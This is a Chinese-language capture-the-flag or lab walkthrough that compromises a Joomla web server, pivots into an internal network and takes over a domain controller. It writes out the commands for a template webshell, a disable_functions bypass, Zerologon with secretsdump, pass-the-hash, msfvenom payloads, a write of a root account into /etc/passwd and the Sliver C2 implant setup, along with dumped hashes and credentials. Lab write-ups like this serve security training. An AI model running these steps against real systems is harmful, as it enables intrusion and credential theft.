本次靶场的目标是域控里的一份文件
为了方便kali虚拟机访问,web-centos启动后,虚拟器设置修改网卡1的桥接为nat,
在命令行service network restart
重启网卡
ip:192.168.111.131
nmap -p- --min-rate 10000 -v -Pn -sV -A 192.168.111.131
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.3 (protocol 2.0)
| ssh-hostkey:
| 1024 25:84:c6:cc:2c:8a:7b:8f:4a:7c:60:f1:a3:c9:b0:22 (DSA)
|_ 2048 58:d1:4c:59:2d:85:ae:07:69:24:0a:dd:72:0f:45:a5 (RSA)
80/tcp open http nginx 1.9.4
|_http-favicon: Unknown favicon MD5: 1194D7D32448E1F90741A97B42AF91FA
|_http-generator: Joomla! - Open Source Content Management
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 15 disallowed entries
| /joomla/administrator/ /administrator/ /bin/ /cache/
| /cli/ /components/ /includes/ /installation/ /language/
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-server-header: nginx/1.9.4
|_http-title: Home
3306/tcp open mysql MySQL 5.7.27-0ubuntu0.16.04.1
| mysql-info:
| Protocol: 10
| Version: 5.7.27-0ubuntu0.16.04.1
| Thread ID: 33
| Capabilities flags: 63487
| Some Capabilities: Speaks41ProtocolOld, SupportsTransactions, DontAllowDatabaseTableColumn, Support41Auth, Speaks41ProtocolNew, IgnoreSigpipes, ODBCClient, ConnectWithDatabase, FoundRows, IgnoreSpaceBeforeParenthesis, SupportsLoadDataLocal, LongColumnFlag, SupportsCompression, LongPassword, InteractiveClient, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
| Status: Autocommit
| Salt: G\x12|u\x1C5zBRVYmu\x1EX,%0\x10*
|_ Auth Plugin Name: mysql_native_password
80端口 wappalyzer和ehole都确认是joomla!,我们先从nday入手。但是没能确定版本。
在msf中search jooma
找到一个扫描插件auxiliary/scanner/http/joomla_version
原理就是从下列文件中找个能访问的用正则提取版本号
files = [
'administrator/manifests/files/joomla.xml',
'language/en-GB/en-GB.xml',
'templates/system/css/system.css',
'media/system/js/mootools-more.js',
'language/en-GB/en-GB.ini',
'htaccess.txt',
'language/en-GB/en-GB.com_media.ini'
]
最终确定版本号为3.9.12,
还有一个扫插件的joomla_plugins,目测就是有一个插件目录字典
[+] Plugin: /administrator/
[+] Plugin: /administrator/components/
[+] Plugin: /administrator/components/com_admin/
[+] Plugin: /administrator/index.php?option=com_djartgallery&task=editItem&cid[]=1'+and+1=1+--+
[+] Plugin: /administrator/index.php?option=com_searchlog&act=log
[+] Plugin: /components/com_ajax/
[+] Plugin: /components/com_banners/
[+] Plugin: /components/com_contact/
[+] Page: /index.php?option=com_contact
[+] Plugin: /components/com_content/
[+] Page: /index.php?option=com_content
[+] Plugin: /components/com_contenthistory/
[+] Plugin: /components/com_fields/
[+] Plugin: /components/com_finder/
[+] Page: /index.php?option=com_finder
[+] Plugin: /components/com_mailto/
[+] Plugin: /components/com_media/
[+] Plugin: /components/com_newsfeeds/
[+] Page: /index.php?option=com_newsfeeds
[+] Plugin: /components/com_search/
[+] Page: /index.php?option=com_search
[+] Plugin: /components/com_users/
[+] Page: /index.php?option=com_users
[+] Plugin: /components/com_wrapper/
[+] Page: /index.php?option=com_wrapper
[+] Plugin: /index.php?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&jat3action=gzip&type=css&v=1
[+] Plugin: /index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos_users--
[+] Page: /index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos
但是访问几个都跳到首页了,结果不太对。
exploit-db上没找着这个版本受影响的洞,基本都是和插件相关的。盲猜了几个都没有效果。
开始目录扫描
dirsearch -u http://192.168.111.131/ -e *
在configuration.php~中发现数据库账号,密码,盐值等敏感信息
我搞完才发现有个工具joomscan,很轻松就能发现我上面搜集的所有信息
joomscan -u http://192.168.111.131/
testuser
cvcvgjASD!@
成功连上数据库,直接select user,password from mysql.user
提示无权限
查看joomla库中am2zu_users表、umnbt_users表发现有管理员用户及hash,从前面泄露的dbprefix来看,am2zu_users才是joomla的
在这篇文档中介绍了通过数据库更改密码的方法
执行这段sql可以创建一个凭据为admin2,secret的用户,当然表名要改一下。
INSERT INTO `am2zu_users`
(`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');
administrator原hash
$2y$10$t1RelJijihpPhL8LARC9JuM/AWrVR.nto/XycrybdRbk8IEg6Dze2
图省事直接替换hash
然后使用administrator secret成功登录管理面
网上搜了一下joomla后台getshell,三种方法,第三种最省事了。
后台操作 Extensions–>Templates–>Templates–>xxx Details and Files修改error.php文件 添加shell代码,save保存,
shell_url:/administrator/templates/xxx/error.php
不过他路径写错了,不需要/administrator
首行添加一句话马
蚁剑连接成功http://192.168.111.131/templates/beez3/error.php
虚拟终端执行命令报ret=127
新建一个phpinfo.php看看情况
发现disable_functions禁了蛮多
直接使用蚁剑的bypass disable_functions插件,ld_preload和iconv的条件应该是都满足的。但是并没有成功生成.antproxy.php
/tmp目录下也确实有上传的so文件在
ps.在web根目录发现有作者留的一句话2.php密码pp,估摸是调测的时候用的
在tmp这个MySQL文件夹下发现一个账号密码
wwwuser
wwwuser_123Aqx
柳暗花明php7gc_uaf模式bypass成功了,弹出了一个新的可执行的终端
进行一波信息收集发现,提权好解决,pkexec有suid,在2022年的今天,这个是有exp的cve-2021-4034,不过需要一个交互式shell
但是IP有点不对
192.168.93.120这不是我们访问的那台呀。
既然已经控制了web,不如上个webshell的socks代理扫一下内网。
#生成服务端
python3 neoreg.py generate -k wuerror
#通过蚁剑上传之后进行连接
sudo python3 neoreg.py -k wuerror -u http://192.168.111.131/tunnel.php
#naabu进行扫描
proxychains naabu -p 80,443,139,445,3306 -s c -stats 192.168.93.0/24
除去93.1(是我物理机)发现存活IP
192.168.93.120
192.168.93.10
192.168.93.100
192.168.93.30
对这四个ip扫描全量tcp端口
proxychains naabu -p 1-65535 -s c -stats -l ip.txt
整理一下
内网ip/外网IP | system |
---|---|
.93.10 | DC |
93.120 | web-ubuntu |
93.30 | windows |
93.100/111.131 | linux |
基本确认域控是192.168.93.10了,尝试zerologon exp逃课
proxychains nmap -sV -sT -p 139,445 -A 192.168.93.10
得到NetBIOS name: WIN-8GA56TNV3MV
Domain name: test.org
proxychains python3 cve-2020-1472-exploit.py WIN-8GA56TNV3MV 192.168.93.10
proxychains impacket-secretsdump -no-pass -just-dc test.org/WIN-8GA56TNV3MV\$@192.168.93.10
成功获取到所有域成员hash
Administrator:500:aad3b435b51404eeaad3b435b51404ee:18edd0cc3227be3bf61ce198835a1d97:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:571bcade06358cf8ea77e8418e857355:::
test.org\win7:1104:aad3b435b51404eeaad3b435b51404ee:a06b39f8847369f7542bfdc821f559c1:::
test.org\win2008:1105:aad3b435b51404eeaad3b435b51404ee:a06b39f8847369f7542bfdc821f559c1:::
因为5985开放所以直接尝试winrm连接
proxychains evil-winrm -u administrator -H 18edd0cc3227be3bf61ce198835a1d97 -i 192.168.93.10
成功getflag
重置一下域控,继续攻击其他机器
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4444 -f elf >v3-ubuntu
蚁剑上传并执行
msf连接
msfconsole -q
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set Proxies socks5:127.0.0.1:1080
set RHOST 192.168.93.120
#端口默认4444
exploit
现在我们可以走通之前没走完的提权了
因为80是反代,25扫描显示关闭,只剩下个ssh。想起之前发现的账号密码
wwwuser
wwwuser_123Aqx。尝试登一下成功了
排查了一圈发现suid,定时任务,sudo等都没法提权,但是他内核版本很低,2.6
先上传40847.cpp但是编译失败。
找到pokemon.c编译成功
根据Wiki,Pokemon的用法是向只读文件写入内容
我选择直接往/etc/passwd里写入一个root用户wuerror,密码为test
./d /etc/passwd 'wuerror:$1$1lSo01r2$TzSFfpcpzJIGwgyqri1520:0:0::/root:/bin/bash'
(真实环境慎用,测试发现把原root覆盖掉了)
proxychains nmap -sT -p 445 -sV -A 192.168.93.30
Host script results:
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
|_nbstat: NetBIOS name: WIN7, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:e0:74:2b (VMware)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
.......
从smb扫描结果来看是Windows7,试一下ms17-010,msf和ms17-010exp检测都patch了
不过得到更新的版本号Windows 7 Professional 7601 Service Pack 1
然后看了看rpc,smb的匿名登录,都可以。但是rpc没权限,smb没东西也无法登录写文件。
爆破也没爆破出来(wp是爆出来了管理员密码),我这要搞只能用域控拿到的hash来横向了。
测试发现hash传递失败只能用明文密码,cmd5上付费可解
尝试一下sliver c2
官方wiki说的很详细,各项都有
#root用户
#生成implants(载荷)所需依赖
sudo apt install mingw-w64
#开启服务端
./sliver_server
#开启多人模式,单人直接在server上操作也行
multiplayer
#增加用户
new-operator -n test -l 192.168.111.128
#客户端导入上一步生成的证书
.\sliver-client import xxx.cfg
#启动
.\sliver-client
生成http协议载荷,回连4444.默认是8888.不知道是不是和内核版本有关目标机mtls上线失败
generate --http 192.168.111.128:4444 -o linux -s /home/wuerror/Downloads/temp/
开启监听
http -l 4444
上传执行,等一会儿之后成功上线
generate --tcp-pivot 192.168.111.131:9898
#session上
pivots tcp
#启动socks代理,尝试psexec传文件进内网Windows
socks5 start -P 1080
拿物理机和另一台Linux虚拟机试了下上线成功。物理机火绒直接免杀,就是默认配置生成
免杀、中转上线配置这些方面比CS和msf还是有优势,但是对老平台的支持蛮差的。
靶机先杀进程,client这边如果还继续使用这个session会卡住。我直接ctrl+c重新启动client
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。